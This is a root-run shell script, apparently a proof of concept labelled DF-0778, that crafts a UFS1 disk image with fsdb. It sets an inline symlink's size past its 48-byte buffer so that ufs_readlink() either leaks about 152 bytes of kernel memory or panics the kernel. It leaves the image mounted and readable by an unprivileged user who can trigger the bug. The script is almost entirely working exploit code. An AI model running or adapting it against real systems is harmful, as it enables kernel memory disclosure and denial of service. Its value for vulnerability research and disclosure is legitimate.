DF-0778 / craft_image.sh
#!/bin/sh # DF-0778 — root-run setup: build a crafted UFS1 image whose symlink inode # has di_blocks==0 (inline shortlink) and a di_size that overflows the # 48-byte i_shortlink buffer when ufs_readlink() truncates it to `int` # and feeds it to uiomove(). # # Mode A (default): di_size=200 -> isize=200 (positive int) -> uiomove # reads 200 bytes out of a 48-byte buffer -> ~152 bytes of OOB info leak. # Mode B: di_size=2147483648 (0x80000000) -> isize=INT_MIN -> sign-extends # to ~2^63 size_t -> uiomove page fault -> kernel panic (DoS). # # Usage: craft_image.sh [modeA_size|modeB] (default: 200) # Leaves the image MOUNTED on /mnt/test with the symlink world-readable # so the unprivileged user (maxx) can readlink() it. set -u # (fsdb returns 255 on success because it marks the fs dirty; we run it # outside a set -e context and capture its exit explicitly below.) MODE="${1:-200}" IMG=/root/ufsimg MNT=/mnt/test VN=vn0 # clean slate umount -f ${MNT} 2>/dev/null || true vnconfig -u ${VN} 2>/dev/null || true rm -f ${IMG} # 1MB image, attach as vnode disk dd if=/dev/zero of=${IMG} bs=1m count=1 status=none vnconfig -c ${VN} ${IMG} # UFS1 filesystem newfs ${VN} >/dev/null 2>&1 mkdir -p ${MNT} mount -o nosuid /dev/${VN} ${MNT} # create a normal short symlink (stored inline in di_db, di_blocks=0) cd ${MNT} ln -s "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" mylink cd / # make world-traversable so maxx can readlink it chmod 755 ${MNT} chmod 777 ${MNT}/mylink 2>/dev/null || true # also chown so maxx owns it (belt and suspenders) chown maxx ${MNT} 2>/dev/null || true umount ${MNT} # Now patch inode 3 (the symlink) on disk via fsdb if [ "${MODE}" = "modeB" ]; then NEWLEN=2147483648 # 0x80000000 -> isize = INT_MIN else NEWLEN="${MODE}" fi # fsdb exits 255 with "*** FILE SYSTEM MARKED DIRTY" even on success; that is # expected, so don't use set -e around it and ignore its exit code. fsdb /dev/${VN} >/tmp/fsdb.log 2>&1 <<EOF inode 3 chlen ${NEWLEN} quit EOF echo "fsdb patched inode 3 -> di_size=${NEWLEN} (see /tmp/fsdb.log)" # Remount read-only (the bug triggers on readlink regardless of mount rw) mount -o ro,nosuid /dev/${VN} ${MNT} chmod 755 ${MNT} 2>/dev/null || true chown maxx ${MNT} 2>/dev/null || true echo "CRAFTED_IMAGE_READY mode=${MODE} symlink_inode=3 di_size=${NEWLEN} di_blocks=0" echo "mount: $(mount | grep ${MNT})" |